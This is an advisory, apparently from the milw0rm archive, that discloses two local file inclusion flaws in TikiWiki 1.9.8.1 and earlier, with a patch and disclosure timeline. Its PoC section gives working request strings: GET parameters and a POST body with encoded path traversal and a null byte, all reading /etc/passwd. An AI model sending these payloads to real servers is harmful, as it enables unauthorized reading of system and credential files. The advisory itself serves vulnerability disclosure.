TikiWiki <= 1.9.8.1 - Local File Inclusion Vulnerabilities

                                                ======================================================================
TikiWiki <= 1.9.8.1 Local File Inclusion
======================================================================

Author:          L4teral <l4teral [4t] gmail com>
Impact:          Local File Inclusion
Status:          patch available


------------------------------
Affected software description:
------------------------------

Application:     TikiWiki
Version:         <= 1.9.8.1
Vendor:          http://tikiwiki.org

Description:
TikiWiki (Tiki) is your Groupware/CMS (Content Management System) solution.


--------------
Vulnerability:
--------------

1.
The script db/tiki-db.php is vulnerable to local file inclusion attacks.

2.
The script tiki-imexport_languages.php is vulnerable to local file inclusion attacks.


------------
PoC/Exploit:
------------

1.
register_globals required:
http://localhost/tikiwiki/tiki-index.php?error_handler_file=/etc/passwd
http://localhost/tikiwiki/tiki-index.php?local_php=/etc/passwd

2.
feature lang_use_db(use database for translation) must be activated:
URL: http://localhost/tikiwiki/tiki-imexport_languages.php
POSTDATA: imp_language=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00&import=import


---------
Solution:
---------

update to 1.9.8.2 or above:
https://sourceforge.net/project/showfiles.php?group_id=64258&package_id=112134&release_id=549549

---------
Timeline:
---------

23.10.2007 - vendor informed
25.10.2007 - vendor released patch
25.10.2007 - public disclosure

# milw0rm.com [2007-10-25]